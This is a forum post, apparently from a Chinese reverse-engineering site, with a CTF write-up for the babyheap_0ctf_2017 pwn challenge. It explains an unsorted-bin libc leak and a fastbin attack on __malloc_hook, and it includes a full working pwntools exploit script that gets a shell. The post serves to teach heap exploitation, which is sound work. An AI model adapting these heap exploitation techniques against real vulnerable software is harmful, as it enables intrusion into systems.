babyheap_0ctf_2017:unsorted-bin-leak+fastbin-attack

bnuzgn

题目来源：babyheap_0ctf_2017

参考链接：

• https://cloud.tencent.com/developer/article/1764339
• https://www.52pojie.cn/thread-1710060-1-1.html
• https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/#unsorted-bin-leak
  

题目信息：

Ubuntu 16、64位、保护全开，无法修改got表，应该是需要泄漏libc地址，然后走shell

   

提供了4个功能。

   

allocate函数中param_1是堆结构的列表地址，但是不是固定的。堆的列表给每个堆分配了0x18个字节，前8个字节是1代表已经分配，中间8个字节保存堆的size，后面8个字节保存指针。

注意使用的是calloc，申请到的chunk会被 \x00 填充

   

fill函数中没有判断用户输入的size是否会导致溢出，fastbin attack。

   

free函数清理的很干净

   

dump函数将堆保存内容输出出来。

   

堆块结构体地址不是写死的，而是函数生成的，麻烦有大佬可以解释一下含义。

   

解题思路

• 根据保护措施的严密程度，我们只能去修改保存在bss段中的内容，很自然就想到了__malloc_hook和__free_hook，然后用fastbin attack的方式修改hook的值，但是在运行的时候发现free_hook前面没有常见的7f给我们使用（下图所示），所以就用__malloc_hook了。
  

   

   

• 题目中没有给出一个固定的结构体，也没给出含有system的函数，所以考虑使用one_gadget，同时别忘了patchelf调整程序的libc链接版本，否则调试的时候应该会遇到tcache（libc2.26版本之后新增角色=、=;题目使用的是ubuntu16，用的是libc2.23）
  

   

• 思路清楚了，那就是利用fastbin attack将one_gadget的值写入bss段中__malloc_hook中，最后申请新的chunk的时候就可以getshell了，具体原理目参考我的新人贴。
• 困难点在于如何得到libc_base，解决方法是Unsorted Bin Leak：https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/#unsorted-bin-leak。unsorted bin有一个特性，就是如果 unsorted bin中只有一个 bin ，它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部），这个地址为 main_arena + 0x58 ，这就是为什么各种wp中会出现main_arena + 88的缘故 ，而且 main_arena 又相对 libc 固定偏移 0x3c4b20 （这里推荐这个工具https://github.com/Coldwave96/LibcOffset/blob/master/LibcOffset.py），我们得到fd的值，然后再减去0x58再减去main_arena相对于libc的固定偏移，即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小，这样 free 后能进入 unsorted bin  让我们能够泄露 libc 基址。
  

wp

[Python] 纯文本查看 复制代码

# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='i386'
context.os = "linux"

pc = "babyheap_0ctf_2017"

if __name__ == '__main__':
    local = sys.argv[1]
    if local == '1':
        r= process(pc)
        elf = ELF(pc)
        libc = elf.libc
    else:
        r=remote("node4.buuoj.cn",29143)
        elf = ELF(pc)
        libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

def db():
    gdb.attach(r)
    pause()

def dbs(src):
    gdb.attach(r, src)

def allocate(size):
    sla("Command: ","1")
    sla("Size: ",str(size))

def fill(index,content):
    sla("Command: ","2")
    sla("Index: ",str(index))
    sla("Size: ",str(len(content)))
    sa("Content: ",content)

def free(index):
    sla("Command: ","3")
    sla("Index: ",str(index))

def dump(index): 
    sla("Command: ","4")
    sla("Index: ",str(index))

allocate(0x10)#0
allocate(0x10)#1
allocate(0x10)#2
allocate(0x10)#3
allocate(0x80)#4
free(2)
free(1)
payload = 0x10 * b'a' + p64(0) + p64(0x21) + p8(0x80)
fill(0,payload)
payload = 0x10 * b'a'+ p64(0) + p64(0x21)
fill(3,payload)
allocate(0x10)#1
allocate(0x10)#4
payload= 0x10 * b'a'+p64(0)+p64(0x91)
fill(3,payload)
allocate(0x80)#5
#db()
free(4)#此时fd与bk指向unsorted bin链表头
dump(2)
main_arena = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x58
libc_base=main_arena-0x3c4b20
lg('main_arena')
lg('libc_base')
gadget_addr = 0x4526a + libc_base
allocate(0x68)#4
free(4)
fakeHeap_addr = p64(libc.sym['__malloc_hook'] - 0x23 + libc_base)
fill(2,fakeHeap_addr) #直接写在fd位置处
allocate(0x68)#4
allocate(0x68)#6 fake_heap
#db()
payload = b'a'*0x13 + p64(gadget_addr)
fill(6,payload)
allocate(0x100)

ti()

zzy12345

很实用的小工具，谢楼主提